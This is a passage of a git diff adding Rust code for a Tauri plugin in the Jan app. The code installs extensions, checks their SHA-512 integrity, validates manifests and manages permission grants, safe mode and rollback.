if let Err(err) = fs::remove_dir_all(&target) {+ if err.kind() != std::io::ErrorKind::NotFound {+ log::warn!("cannot remove {}: {err}", target.display());+ }+ }+ let _ = fs::remove_dir_all(&stage.dir);+ if fresh {+ // Only succeeds when empty.+ let _ = fs::remove_dir(&id_dir);+ }+ e+ };+ // The version is newer than the active one, so it is neither the active+ // nor the previous version: anything there is left over from an install+ // that died before it could clean up, and would block the rename.+ if fs::symlink_metadata(&target).is_ok() {+ fs::remove_dir_all(&target).map_err(|e| abandon(e.into()))?;+ }+ fs::create_dir_all(&id_dir).map_err(|e| abandon(e.into()))?;+ fs::rename(&stage.dir, &target).map_err(|e| abandon(e.into()))?;+ // The hash is taken again from the installed copy, which is what+ // read_entry will compare against.+ let entry_sha512 = (|| -> Result<String> {+ let entry_path = manifest::check_main_file(&target, &stage.manifest.main)?;+ Ok(sha512_sri(&fs::read(entry_path)?))+ })()+ .map_err(abandon)?;+ if entry_sha512 != stage.entry_sha512 {+ return Err(abandon(Error::Tampered(+ "the entry file changed while staged".into(),+ )));+ }++ let record = VersionRecord {+ source: stage.source,+ verified: stage.verified,+ integrity_checked: stage.integrity_checked,+ main: stage.manifest.main.clone(),+ permissions: requested.clone(),+ entry_sha512,+ installed_at: now_rfc3339(),+ };+ let ordered_grants = requested.clone();+ let entry = match old {+ Some(old) => Entry {+ enabled: old.enabled,+ active: version.clone(),+ previous: Some(old.active),+ granted: ordered_grants,+ current: record,+ previous_record: Some(old.current),+ },+ None => Entry {+ enabled: true,+ active: version.clone(),+ previous: None,+ granted: ordered_grants,+ current: record,+ previous_record: None,+ },+ };+ let keep_previous = entry.previous.clone();+ registry.extensions.insert(id.clone(), entry);+ state.save_registry(®istry).map_err(abandon)?;+ prune_versions(+ &state.root,+ &id,+ &[version.as_str(), keep_previous.as_deref().unwrap_or("")],+ );+ Ok(installed(&state.root, &id, ®istry.extensions[&id]))+}++fn read_manifest(root: &Path, id: &str, version: &str) -> Value {+ fs::read(version_dir(root, id, version).join("package.json"))+ .ok()+ .and_then(|b| serde_json::from_slice(&b).ok())+ .unwrap_or(Value::Null)+}++fn installed(root: &Path, id: &str, entry: &Entry) -> InstalledExtension {+ InstalledExtension {+ id: id.to_string(),+ version: entry.active.clone(),+ previous: entry.previous.clone(),+ enabled: entry.enabled,+ granted: entry.granted.clone(),+ permissions: entry.current.permissions.clone(),+ source: entry.current.source.clone(),+ verified: entry.current.verified,+ integrity_checked: entry.current.integrity_checked,+ installed_at: entry.current.installed_at.clone(),+ manifest: read_manifest(root, id, &entry.active),+ }+}++/// Every installed extension and the safe-mode state.+pub fn list(state: &ExtensionsState) -> Result<ListResult> {+ let _guard = lock(&state.lock);+ let registry = state.load_registry()?;+ Ok(ListResult {+ safe_mode: state.safe_mode(®istry),+ safe_mode_forced: state.options.safe_mode_forced,+ recovered_from: lock(&state.recovered_from)+ .as_ref()+ .map(|p| p.display().to_string()),+ extensions: registry+ .extensions+ .iter()+ .map(|(id, entry)| installed(&state.root, id, entry))+ .collect(),+ })+}++fn update<T>(+ state: &ExtensionsState,+ id: &str,+ change: impl FnOnce(&Path, &mut Registry) -> Result<T>,+) -> Result<T> {+ checked_id(id)?;+ let _guard = lock(&state.lock);+ let mut registry = state.load_registry()?;+ if !registry.extensions.contains_key(id) {+ return Err(Error::NotFound(format!("{id} is not installed")));+ }+ let result = change(&state.root, &mut registry)?;+ state.save_registry(®istry)?;+ Ok(result)+}++/// Enables or disables an installed extension.+pub fn set_enabled(state: &ExtensionsState, id: &str, enabled: bool) -> Result<()> {+ update(state, id, |_, registry| {+ if let Some(entry) = registry.extensions.get_mut(id) {+ entry.enabled = enabled;+ }+ Ok(())+ })+}++/// Replaces the grants of `id` with `granted`, which may only remove:+/// granting more needs a new consent, which only an install gives.+pub fn set_grants(state: &ExtensionsState, id: &str, granted: &[String]) -> Result<()> {+ update(state, id, |_, registry| {+ let Some(entry) = registry.extensions.get_mut(id) else {+ return Ok(());+ };+ let current = sorted_set(&entry.granted);+ if let Some(extra) = granted.iter().find(|p| !current.contains(p.as_str())) {+ return Err(Error::Denied(format!(+ "'{extra}' is not granted; grants can only be revoked here"+ )));+ }+ let keep = sorted_set(granted);+ entry.granted.retain(|p| keep.contains(p.as_str()));+ Ok(())+ })+}++/// Removes `<id>/` and the registry entry.+pub fn uninstall(state: &ExtensionsState, id: &str) -> Result<()> {+ update(state, id, |root, registry| {+ registry.extensions.remove(id);+ match fs::remove_dir_all(root.join(id)) {+ Err(e) if e.kind() != std::io::ErrorKind::NotFound => Err(e.into()),+ _ => Ok(()),+ }+ })+}++/// Makes the previous version active and the active one previous. The+/// grants shrink to what the restored version requests; nothing is added.+pub fn rollback(state: &ExtensionsState, id: &str) -> Result<InstalledExtension> {+ update(state, id, |root, registry| {+ let Some(entry) = registry.extensions.get_mut(id) else {+ return Err(Error::NotFound(format!("{id} is not installed")));+ };+ let (Some(previous), Some(previous_record)) =+ (entry.previous.clone(), entry.previous_record.clone())+ else {+ return Err(Error::NotFound(format!("{id} has no previous version")));+ };+ if !version_dir(root, id, &previous).is_dir() {+ return Err(Error::NotFound(format!(+ "the files of {id} {previous} are missing"+ )));+ }+ let restored = sorted_set(&previous_record.permissions);+ entry.granted.retain(|p| restored.contains(p.as_str()));+ let old_active = std::mem::replace(&mut entry.active, previous);+ let old_record = std::mem::replace(&mut entry.current, previous_record);+ entry.previous = Some(old_active);+ entry.previous_record = Some(old_record);+ Ok(installed(root, id, entry))+ })+}++/// Turns the persisted safe mode on or off. `JAN_EXTENSIONS_SAFE_MODE=1`+/// still forces it on for this run.+pub fn set_safe_mode(state: &ExtensionsState, on: bool) -> Result<()> {+ let _guard = lock(&state.lock);+ let mut registry = state.load_registry()?;+ registry.safe_mode = on;+ state.save_registry(®istry)+}++/// The entry bundle of `id`, only when it is enabled, safe mode is off, and+/// the file still hashes to what was recorded at install time.+pub fn read_entry(state: &ExtensionsState, id: &str) -> Result<EntrySource> {+ checked_id(id)?;+ let _guard = lock(&state.lock);+ let registry = state.load_registry()?;+ if state.safe_mode(®istry) {+ return Err(Error::Denied("extensions do not run in safe mode".into()));+ }+ let entry = registry+ .extensions+ .get(id)+ .ok_or_else(|| Error::NotFound(format!("{id} is not installed")))?;+ if !entry.enabled {+ return Err(Error::Denied(format!("{id} is disabled")));+ }+ let path = manifest::check_main_file(+ &version_dir(&state.root, id, &entry.active),+ &entry.current.main,+ )?;+ let bytes = fs::read(path)?;+ let sha512 = sha512_sri(&bytes);+ if sha512 != entry.current.entry_sha512 {+ return Err(Error::Tampered(format!(+ "the entry file of {id} changed after it was installed; reinstall it"+ )));+ }+ let code = String::from_utf8(bytes)+ .map_err(|_| Error::Invalid(format!("the entry file of {id} is not UTF-8")))?;+ Ok(EntrySource { code, sha512 })+}++/// The grants of an enabled extension, for the network check. Answered from+/// the registry the state last read or wrote rather than from disk: this+/// runs on the async runtime, where file I/O (and waiting on the registry+/// lock held across an install) would block other tasks. Every change goes+/// through `save_registry`, so a revoke applies to the next request; an+/// edit of `extensions.json` behind Jan's back is seen after the next+/// command that reads it.+pub(crate) fn network_grants(state: &ExtensionsState, id: &str) -> Result<Vec<String>> {+ checked_id(id)?;+ let registry = state+ .cached_registry()+ .ok_or_else(|| Error::Denied("the extensions registry could not be read".into()))?;+ if state.safe_mode(®istry) {+ return Err(Error::Denied("extensions do not run in safe mode".into()));+ }+ let entry = registry+ .extensions+ .get(id)+ .ok_or_else(|| Error::NotFound(format!("{id} is not installed")))?;+ if !entry.enabled {+ return Err(Error::Denied(format!("{id} is disabled")));+ }+ Ok(entry.granted.clone())+}++/// Stages the tarball `bytes` of `id@version` as listed in `index` by the+/// user-added `source`, into the stage reserved by `slot`. The bytes must+/// match the pinned SRI, and the package's id, version and permissions must+/// equal the listing. The stage is verified when `index` was signed.+pub fn stage_index_tarball(+ state: &ExtensionsState,+ slot: StageSlot,+ source: &crate::sources::IndexSourceEntry,+ index: &crate::index::FetchedIndex,+ id: &str,+ version: &str,+ bytes: &[u8],+) -> Result<StagedInstall> {+ let listed = crate::index::resolve(&index.index, id, version)?;+ crate::integrity::verify(bytes, &listed.integrity)?;+ let expected = Expected {+ id: id.to_string(),+ version: version.to_string(),+ permissions: listed.permissions.clone(),+ };+ let origin = Source::Index {+ source_id: source.id.clone(),+ source_name: source.name.clone(),+ url: source.url.clone(),+ tarball: listed.tarball.clone(),+ integrity: listed.integrity.clone(),+ };+ let trust = Trust {+ integrity_checked: true,+ verified: index.signed,+ };+ stage_tarball(state, slot, bytes, origin, trust, Some(&expected))+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/integrity.rs b/src-tauri/plugins/tauri-plugin-extensions/src/integrity.rsnew file mode 100644index 000000000..538fb0c89--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/integrity.rs@@ -0,0 +1,92 @@+//! Subresource-integrity strings (`sha512-<base64>`), the form npm and the+//! extension index use to pin a tarball.++use base64::engine::general_purpose::STANDARD;+use base64::Engine as _;+use sha2::{Digest, Sha512};++use crate::error::IntegrityError;++const PREFIX: &str = "sha512-";+const DIGEST_LEN: usize = 64;++/// The `sha512-<base64>` SRI string of `bytes`.+pub fn sha512_sri(bytes: &[u8]) -> String {+ format!("{PREFIX}{}", STANDARD.encode(Sha512::digest(bytes)))+}++/// Decodes a `sha512-<base64>` string to its 64-byte digest. Only sha512 is+/// accepted: weaker algorithms npm still prints for old packages would let a+/// collision through, and an index has no reason to use them.+pub fn parse_sri(sri: &str) -> Result<Vec<u8>, IntegrityError> {+ let encoded = sri+ .strip_prefix(PREFIX)+ .ok_or_else(|| IntegrityError::Malformed(sri.to_string()))?;+ let digest = STANDARD+ .decode(encoded)+ .map_err(|_| IntegrityError::Malformed(sri.to_string()))?;+ if digest.len() != DIGEST_LEN {+ return Err(IntegrityError::Malformed(sri.to_string()));+ }+ Ok(digest)+}++/// Whether `sri` is a well-formed sha512 SRI string.+pub fn is_sri(sri: &str) -> bool {+ parse_sri(sri).is_ok()+}++/// Checks `bytes` against `expected_sri`.+pub fn verify(bytes: &[u8], expected_sri: &str) -> Result<(), IntegrityError> {+ let expected = parse_sri(expected_sri)?;+ let actual = Sha512::digest(bytes);+ if actual.as_slice() == expected.as_slice() {+ Ok(())+ } else {+ Err(IntegrityError::Mismatch {+ expected: expected_sri.to_string(),+ actual: sha512_sri(bytes),+ })+ }+}++#[cfg(test)]+mod tests {+ use super::*;++ #[test]+ fn round_trips_and_detects_a_mismatch() {+ let sri = sha512_sri(b"hello");+ assert!(sri.starts_with("sha512-"));+ assert!(verify(b"hello", &sri).is_ok());+ assert!(matches!(+ verify(b"hellO", &sri),+ Err(IntegrityError::Mismatch { .. })+ ));+ }++ #[test]+ fn matches_the_known_digest() {+ // `printf '' | openssl dgst -sha512 -binary | base64`+ assert_eq!(+ sha512_sri(b""),+ "sha512-z4PhNX7vuL3xVChQ1m2AB9Yg5AULVxXcg/SpIdNs6c5H0NE8XYXysP+DGNKHfuwvY7kxvUdBeoGlODJ6+SfaPg=="+ );+ }++ #[test]+ fn rejects_malformed_and_weaker_hashes() {+ for bad in [+ "",+ "sha512-",+ "sha512-!!!",+ "sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=",+ "sha512-AAAA",+ ] {+ assert!(+ matches!(verify(b"", bad), Err(IntegrityError::Malformed(_))),+ "{bad}"+ );+ }+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/lib.rs b/src-tauri/plugins/tauri-plugin-extensions/src/lib.rsnew file mode 100644index 000000000..5dc972bf1--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/lib.rs@@ -0,0 +1,30 @@+//! Installs, verifies and serves runtime Jan extensions.+//!+//! The pure modules ([`bundle`], [`integrity`], [`manifest`], [`registry`],+//! [`sources`], [`index`]) take paths and bytes and need no `AppHandle`;+//! [`install`], [`catalog`] and [`http`] work on an+//! [`state::ExtensionsState`], so the whole pipeline is tested without a+//! Tauri runtime. The `tauri` feature adds the command surface.+//!+//! Jan ships no index URL and no key: catalogs come only from index sources+//! the user adds.++pub mod bundle;+pub mod catalog;+#[cfg(feature = "tauri")]+mod commands;+pub mod error;+pub mod http;+pub mod index;+pub mod install;+pub mod integrity;+pub mod manifest;+pub mod permissions;+pub mod registry;+pub mod signature;+pub mod sources;+pub mod state;+pub mod store;++#[cfg(feature = "tauri")]+pub use commands::{init, set_local_api_port};diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/manifest.rs b/src-tauri/plugins/tauri-plugin-extensions/src/manifest.rsnew file mode 100644index 000000000..7e7fffa8c--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/manifest.rs@@ -0,0 +1,1248 @@+//! The `jan` manifest of an extension's package.json, checked with the same+//! rules as `validateManifest` in `@janhq/extension-api` (validate.ts), plus+//! what only the host can check: that the API range and `engines.jan` fit+//! this Jan, and that `main` is a real file inside the extracted package.+//!+//! Error paths and messages match the TypeScript validator, so the install UI+//! shows the same text whichever side refused a manifest.++use std::collections::{BTreeMap, BTreeSet};+use std::path::{Path, PathBuf};++use serde_json::{Map, Value};++use crate::error::{ManifestErrors, ManifestIssue};+use crate::permissions::{+ is_local_host, is_permission_string, network_host_matches, network_host_of,+};++/// The `@janhq/extension-api` version this host implements. A vitest guard+/// keeps it equal to that package's version and `API_VERSION`.+pub const HOST_API_VERSION: &str = "1.0.0";++/// Largest entry bundle the host will load into a worker.+pub const MAX_MAIN_BYTES: u64 = 5 * 1024 * 1024;++const MANIFEST_KEYS: &[&str] = &[+ "id",+ "displayName",+ "description",+ "publisher",+ "apiVersion",+ "main",+ "permissions",+ "proposals",+ "contributes",+ "l10n",+];+const CONTRIBUTION_KEYS: &[&str] = &[+ "settings",+ "commands",+ "menus",+ "statusItems",+ "tools",+ "providers",+];+const MENU_LOCATIONS: &[&str] = &[+ "commandPalette",+ "thread/context",+ "message/actions",+ "chatInput/actions",+];+const WHEN_CLAUSES: &[&str] = &[+ "always",+ "message.role == assistant",+ "message.role == user",+ "thread.hasMessages",+];+const PROPOSALS: &[&str] = &["chat"];+/// `MODEL_CAPABILITIES` in `@janhq/extension-api`: what a contributed+/// provider may declare its models can do.+const MODEL_CAPABILITIES: &[&str] = &[+ "completion",+ "tools",+ "vision",+ "audio",+ "video",+ "embeddings",+ "reasoning",+];+const INPUT_TYPES: &[&str] = &["text", "url", "number"];++/// What a valid manifest yields: the fields the installer acts on, plus the+/// whole package.json for the UI.+#[derive(Debug, Clone, PartialEq)]+pub struct ValidatedManifest {+ /// `jan.id`, `<publisher>.<name>`.+ pub id: String,+ /// package.json `name`.+ pub name: String,+ /// package.json `version`, a semver version.+ pub version: String,+ /// `jan.displayName`.+ pub display_name: String,+ /// `jan.main`, normalised without a leading `./`.+ pub main: String,+ /// `jan.permissions`, in manifest order, without duplicates.+ pub permissions: Vec<String>,+ /// `engines.jan`, if declared.+ pub engines_jan: Option<String>,+ /// The package.json as read.+ pub package: Value,+}++/// True for an extension id: `<publisher>.<name>`, each part 2-39 lowercase+/// letters, digits or dashes, starting with a letter or digit, and not a+/// Windows device name (the id is a directory name, and Windows reads+/// `con.ab` as the device `con`).+pub fn is_extension_id(value: &str) -> bool {+ fn part(s: &str) -> bool {+ let bytes = s.as_bytes();+ !crate::bundle::RESERVED_NAMES.contains(&s)+ && (2..=39).contains(&bytes.len())+ && (bytes[0].is_ascii_lowercase() || bytes[0].is_ascii_digit())+ && bytes+ .iter()+ .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || *b == b'-')+ }+ match value.split_once('.') {+ Some((publisher, name)) => part(publisher) && part(name),+ None => false,+ }+}++/// The publisher part of every built-in extension id (`jan.<name>`), as+/// `RESERVED_PUBLISHER` in validate.ts. The host never runs a third-party+/// extension under it, so nothing here may install one.+pub const RESERVED_PUBLISHER: &str = "jan";++/// True for an id whose publisher part is [`RESERVED_PUBLISHER`].+pub fn is_reserved_id(value: &str) -> bool {+ value.split_once('.').is_some_and(|(publisher, _)| publisher == RESERVED_PUBLISHER)+}++/// The grammar of a command, status item or provider id and of a tool name+/// (`isContributionId`): 1-64 letters, digits, `.`, `_` and `-`, starting+/// with a letter or digit.+pub fn is_contribution_id(value: &str) -> bool {+ let bytes = value.as_bytes();+ !bytes.is_empty()+ && bytes.len() <= 64+ && bytes[0].is_ascii_alphanumeric()+ && bytes+ .iter()+ .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))+}++fn is_numeric_id(s: &str) -> bool {+ s == "0" || (!s.is_empty() && !s.starts_with('0') && s.bytes().all(|b| b.is_ascii_digit()))+}++fn is_dotted_ids(s: &str) -> bool {+ s.split('.').all(|part| {+ !part.is_empty()+ && part+ .bytes()+ .all(|b| b.is_ascii_alphanumeric() || b == b'-')+ })+}++/// A full semver 2.0.0 version, with the same leniency as the TypeScript+/// regex (numeric prerelease parts may have leading zeros).+pub fn is_semver(version: &str) -> bool {+ let (rest, build) = match version.split_once('+') {+ Some((rest, build)) => (rest, Some(build)),+ None => (version, None),+ };+ if build.is_some_and(|b| !is_dotted_ids(b)) {+ return false;+ }+ let (core, pre) = match rest.split_once('-') {+ Some((core, pre)) => (core, Some(pre)),+ None => (rest, None),+ };+ if pre.is_some_and(|p| !is_dotted_ids(p)) {+ return false;+ }+ let parts: Vec<&str> = core.split('.').collect();+ parts.len() == 3 && parts.iter().all(|p| is_numeric_id(p))+}++fn triple(s: &str) -> Option<(u64, u64, u64)> {+ let mut it = s.split('.');+ let mut next = || -> Option<u64> {+ let part = it.next()?;+ if part.is_empty() || !part.bytes().all(|b| b.is_ascii_digit()) {+ return None;+ }+ part.parse().ok()+ };+ let t = (next()?, next()?, next()?);+ if it.next().is_some() {+ return None;+ }+ Some(t)+}++/// The only range form manifests may use: `^MAJOR.MINOR.PATCH`.+pub fn is_caret_range(range: &str) -> bool {+ range.strip_prefix('^').and_then(triple).is_some()+}++/// `isApiCompatible`: npm caret semantics, where the left-most non-zero part+/// is locked, so before 1.0 every minor is a breaking change.+pub fn is_api_compatible(range: &str, host: &str) -> bool {+ let (Some(floor), Some(version)) = (range.strip_prefix('^').and_then(triple), triple(host))+ else {+ return false;+ };+ if version < floor {+ return false;+ }+ if floor.0 > 0 {+ return version.0 == floor.0;+ }+ if floor.1 > 0 {+ return version.0 == 0 && version.1 == floor.1;+ }+ version == floor+}++fn non_empty(value: Option<&Value>) -> bool {+ matches!(value, Some(Value::String(s)) if !s.trim().is_empty())+}++fn is_identifier(k: &str) -> bool {+ let mut chars = k.chars();+ match chars.next() {+ Some(c) if c.is_ascii_alphabetic() || c == '_' || c == '$' => {}+ _ => return false,+ }+ chars.all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '$')+}++fn key(base: &str, k: &str) -> String {+ if !is_identifier(k) {+ format!("{base}['{k}']")+ } else if base.is_empty() {+ k.to_string()+ } else {+ format!("{base}.{k}")+ }+}++#[derive(Default)]+struct Checker {+ errors: Vec<ManifestIssue>,+}++impl Checker {+ fn fail(&mut self, path: impl Into<String>, message: impl Into<String>) -> bool {+ self.errors.push(ManifestIssue {+ path: path.into(),+ message: message.into(),+ });+ false+ }++ fn string(&mut self, obj: &Map<String, Value>, field: &str, path: &str, optional: bool) -> bool {+ let value = obj.get(field);+ if value.is_none() && optional {+ return true;+ }+ non_empty(value) || self.fail(key(path, field), "must be a non-empty string")+ }++ fn number(&mut self, obj: &Map<String, Value>, field: &str, path: &str, optional: bool) -> bool {+ let value = obj.get(field);+ if value.is_none() && optional {+ return true;+ }+ matches!(value, Some(Value::Number(_))) || self.fail(key(path, field), "must be a number")+ }++ fn known(&mut self, obj: &Map<String, Value>, allowed: &[&str], path: &str) {+ for k in obj.keys() {+ if !allowed.contains(&k.as_str()) {+ self.fail(key(path, k), "is not a known field");+ }+ }+ }++ fn list<F>(&mut self, obj: &Map<String, Value>, field: &str, path: &str, mut each: F)+ where+ F: FnMut(&mut Self, &Map<String, Value>, &str),+ {+ let Some(value) = obj.get(field) else {+ return;+ };+ let list_path = key(path, field);+ let Value::Array(items) = value else {+ self.fail(list_path, "must be an array");+ return;+ };+ for (i, item) in items.iter().enumerate() {+ let item_path = format!("{list_path}[{i}]");+ match item {+ Value::Object(map) => each(self, map, &item_path),+ _ => {+ self.fail(item_path, "must be an object");+ }+ }+ }+ }++ fn contribution_id(&mut self, obj: &Map<String, Value>, field: &str, path: &str) -> bool {+ if !self.string(obj, field, path, false) {+ return false;+ }+ let ok = obj+ .get(field)+ .and_then(Value::as_str)+ .is_some_and(is_contribution_id);+ ok || self.fail(+ key(path, field),+ "must be 1-64 letters, digits, dots, underscores or dashes, starting with a letter or digit",+ )+ }++ fn unique(&mut self, seen: &mut BTreeSet<String>, obj: &Map<String, Value>, field: &str, path: &str) {+ let Some(Value::String(value)) = obj.get(field) else {+ return;+ };+ if !seen.insert(value.clone()) {+ self.fail(key(path, field), format!("duplicates '{value}'"));+ }+ }+}++fn check_main(c: &mut Checker, main: Option<&Value>) {+ let path = "jan.main";+ let Some(main) = main.and_then(Value::as_str).filter(|s| !s.trim().is_empty()) else {+ c.fail(path, "must be a non-empty string");+ return;+ };+ let relative = main.strip_prefix("./").unwrap_or(main);+ // Rejects absolute paths, drive letters, backslashes and any `.`/`..`+ // segment, so the entry always resolves inside the package directory.+ let escapes = main.contains('\\')+ || main.contains(':')+ || relative+ .split('/')+ .any(|s| s.is_empty() || s == "." || s == "..");+ if escapes {+ c.fail(path, "must be a relative path inside the package");+ } else if !relative.ends_with(".js") {+ c.fail(path, "must point at a .js file");+ }+}++fn check_permissions(c: &mut Checker, value: Option<&Value>) -> Vec<String> {+ let Some(Value::Array(items)) = value else {+ c.fail("jan.permissions", "must be an array");+ return Vec::new();+ };+ let mut valid: Vec<String> = Vec::new();+ for (i, p) in items.iter().enumerate() {+ let path = format!("jan.permissions[{i}]");+ match p.as_str() {+ Some(p) if is_permission_string(p) => {+ if valid.iter().any(|v| v == p) {+ c.fail(path, format!("duplicates '{p}'"));+ } else {+ valid.push(p.to_string());+ }+ }+ _ => {+ c.fail(path, "is not a known permission");+ }+ }+ }+ valid+}++fn check_proposals(c: &mut Checker, value: Option<&Value>) {+ let Some(value) = value else {+ return;+ };+ let Value::Array(items) = value else {+ c.fail("jan.proposals", "must be an array");+ return;+ };+ for (i, p) in items.iter().enumerate() {+ if !p.as_str().is_some_and(|p| PROPOSALS.contains(&p)) {+ c.fail(format!("jan.proposals[{i}]"), "is not a known proposal");+ }+ }+}++fn check_control(c: &mut Checker, control: Option<&Value>, path: &str) {+ let Some(Value::Object(control)) = control else {+ c.fail(path, "must be an object");+ return;+ };+ let def = control.get("default");+ let def_path = format!("{path}.default");+ match control.get("type").and_then(Value::as_str) {+ Some("input") => {+ c.known(control, &["type", "inputType", "placeholder", "default"], path);+ if let Some(input_type) = control.get("inputType") {+ if !input_type.as_str().is_some_and(|t| INPUT_TYPES.contains(&t)) {+ c.fail(+ format!("{path}.inputType"),+ format!("must be one of {}", INPUT_TYPES.join(", ")),+ );+ }+ }+ c.string(control, "placeholder", path, true);+ if !matches!(def, Some(Value::String(_))) {+ c.fail(def_path, "must be a string");+ }+ }+ Some("textarea") => {+ c.known(control, &["type", "rows", "default"], path);+ c.number(control, "rows", path, true);+ if !matches!(def, Some(Value::String(_))) {+ c.fail(def_path, "must be a string");+ }+ }+ Some("checkbox") => {+ c.known(control, &["type", "default"], path);+ if !matches!(def, Some(Value::Bool(_))) {+ c.fail(def_path, "must be a boolean");+ }+ }+ Some("dropdown") => {+ c.known(control, &["type", "options", "default"], path);+ let mut values: Vec<String> = Vec::new();+ c.list(control, "options", path, |c, option, option_path| {+ c.known(option, &["value", "label"], option_path);+ if c.string(option, "value", option_path, false) {+ if let Some(v) = option.get("value").and_then(Value::as_str) {+ values.push(v.to_string());+ }+ }+ c.string(option, "label", option_path, false);+ });+ let has_options = matches!(control.get("options"), Some(Value::Array(o)) if !o.is_empty());+ if !has_options {+ c.fail(format!("{path}.options"), "must list at least one option");+ } else if !def+ .and_then(Value::as_str)+ .is_some_and(|d| values.iter().any(|v| v == d))+ {+ c.fail(def_path, "must be one of the option values");+ }+ }+ Some("slider") => {+ c.known(control, &["type", "min", "max", "step", "default"], path);+ let ok = [+ c.number(control, "min", path, false),+ c.number(control, "max", path, false),+ c.number(control, "step", path, false),+ c.number(control, "default", path, false),+ ]+ .iter()+ .all(|ok| *ok);+ if !ok {+ return;+ }+ let num = |k: &str| control.get(k).and_then(Value::as_f64).unwrap_or(0.0);+ let (min, max, step, def) = (num("min"), num("max"), num("step"), num("default"));+ if min > max || step <= 0.0 {+ c.fail(path, "needs min <= max and a positive step");+ } else if def < min || def > max {+ c.fail(def_path, "must lie within min and max");+ }+ }+ _ => {+ c.fail(+ format!("{path}.type"),+ "must be input, textarea, checkbox, dropdown or slider",+ );+ }+ }+}++fn check_provider_url(c: &mut Checker, value: &str, path: &str, permissions: &[String]) {+ let Ok(url) = url::Url::parse(value) else {+ c.fail(path, "must be an absolute URL");+ return;+ };+ let host = url.host_str().unwrap_or("");+ let scheme = url.scheme();+ if scheme != "https" && !(scheme == "http" && is_local_host(host)) {+ c.fail(+ path,+ "must use https (http is allowed only for localhost and 127.0.0.1)",+ );+ return;+ }+ let granted = permissions+ .iter()+ .filter_map(|p| network_host_of(p))+ .any(|grant| network_host_matches(grant, host));+ if !granted {+ c.fail(path, format!("needs the permission network:{host}"));+ }+}++fn check_contributions(c: &mut Checker, contributes: Option<&Value>, permissions: &[String]) {+ let path = "jan.contributes";+ let Some(contributes) = contributes else {+ return;+ };+ let Value::Object(contributes) = contributes else {+ c.fail(path, "must be an object");+ return;+ };+ c.known(contributes, CONTRIBUTION_KEYS, path);++ let mut secret_settings: BTreeMap<String, bool> = BTreeMap::new();+ let mut setting_keys = BTreeSet::new();+ c.list(contributes, "settings", path, |c, s, p| {+ c.known(s, &["key", "title", "description", "secret", "control"], p);+ c.string(s, "key", p, false);+ c.unique(&mut setting_keys, s, "key", p);+ c.string(s, "title", p, false);+ c.string(s, "description", p, true);+ let secret = s.get("secret");+ match secret {+ Some(v) if !v.is_boolean() => {+ c.fail(format!("{p}.secret"), "must be a boolean");+ }+ Some(Value::Bool(true)) => {+ // The OS keyring holds strings only.+ let control_type = s+ .get("control")+ .and_then(Value::as_object)+ .map(|control| control.get("type").and_then(Value::as_str));+ if let Some(t) = control_type {+ if t != Some("input") && t != Some("textarea") {+ c.fail(+ format!("{p}.secret"),+ "is only allowed on input and textarea controls",+ );+ }+ }+ }+ _ => {}+ }+ check_control(c, s.get("control"), &format!("{p}.control"));+ if let Some(k) = s.get("key").and_then(Value::as_str) {+ secret_settings+ .entry(k.to_string())+ .or_insert(matches!(secret, Some(Value::Bool(true))));+ }+ });++ let mut commands = BTreeSet::new();+ c.list(contributes, "commands", path, |c, cmd, p| {+ c.known(cmd, &["id", "title", "category", "icon"], p);+ c.contribution_id(cmd, "id", p);+ c.unique(&mut commands, cmd, "id", p);+ c.string(cmd, "title", p, false);+ c.string(cmd, "category", p, true);+ c.string(cmd, "icon", p, true);+ });+ let command_ref = |c: &mut Checker, obj: &Map<String, Value>, p: &str| {+ if let Some(command) = obj.get("command") {+ if !command.as_str().is_some_and(|s| commands.contains(s)) {+ c.fail(+ format!("{p}.command"),+ "must name a command declared in contributes.commands",+ );+ }+ }+ };++ match contributes.get("menus") {+ None => {}+ Some(Value::Object(menus)) => {+ let menus_path = format!("{path}.menus");+ for location in menus.keys() {+ if !MENU_LOCATIONS.contains(&location.as_str()) {+ c.fail(key(&menus_path, location), "is not a known menu location");+ continue;+ }+ c.list(menus, location, &menus_path, |c, item, p| {+ c.known(item, &["command", "when", "group", "order"], p);+ if c.string(item, "command", p, false) {+ command_ref(c, item, p);+ }+ if let Some(when) = item.get("when") {+ if !when.as_str().is_some_and(|w| WHEN_CLAUSES.contains(&w)) {+ c.fail(format!("{p}.when"), "is not a known when clause");+ }+ }+ c.string(item, "group", p, true);+ c.number(item, "order", p, true);+ });+ }+ }+ Some(_) => {+ c.fail(format!("{path}.menus"), "must be an object");+ }+ }++ let mut status_ids = BTreeSet::new();+ c.list(contributes, "statusItems", path, |c, item, p| {+ c.known(item, &["id", "text", "tooltip", "command", "priority"], p);+ c.contribution_id(item, "id", p);+ c.unique(&mut status_ids, item, "id", p);+ c.string(item, "text", p, false);+ c.string(item, "tooltip", p, true);+ if item.get("command").is_some() && c.string(item, "command", p, false) {+ command_ref(c, item, p);+ }+ c.number(item, "priority", p, true);+ });++ if contributes.contains_key("tools") && !permissions.iter().any(|p| p == "tools") {+ c.fail(format!("{path}.tools"), "needs the permission 'tools'");+ }+ let mut tool_names = BTreeSet::new();+ c.list(contributes, "tools", path, |c, tool, p| {+ c.known(tool, &["name", "description", "inputSchema"], p);+ c.contribution_id(tool, "name", p);+ c.unique(&mut tool_names, tool, "name", p);+ c.string(tool, "description", p, false);+ let schema_ok = tool+ .get("inputSchema")+ .and_then(Value::as_object)+ .is_some_and(|s| s.get("type").and_then(Value::as_str) == Some("object"));+ if !schema_ok {+ c.fail(+ format!("{p}.inputSchema"),+ "must be a JSON Schema with type 'object'",+ );+ }+ });++ if contributes.contains_key("providers") && !permissions.iter().any(|p| p == "providers") {+ c.fail(format!("{path}.providers"), "needs the permission 'providers'");+ }+ let mut provider_ids = BTreeSet::new();+ c.list(contributes, "providers", path, |c, provider, p| {+ c.known(provider, &["id", "displayName", "baseUrl", "apiKeySetting", "capabilities"], p);+ c.contribution_id(provider, "id", p);+ c.unique(&mut provider_ids, provider, "id", p);+ c.string(provider, "displayName", p, false);+ if c.string(provider, "baseUrl", p, false) {+ if let Some(url) = 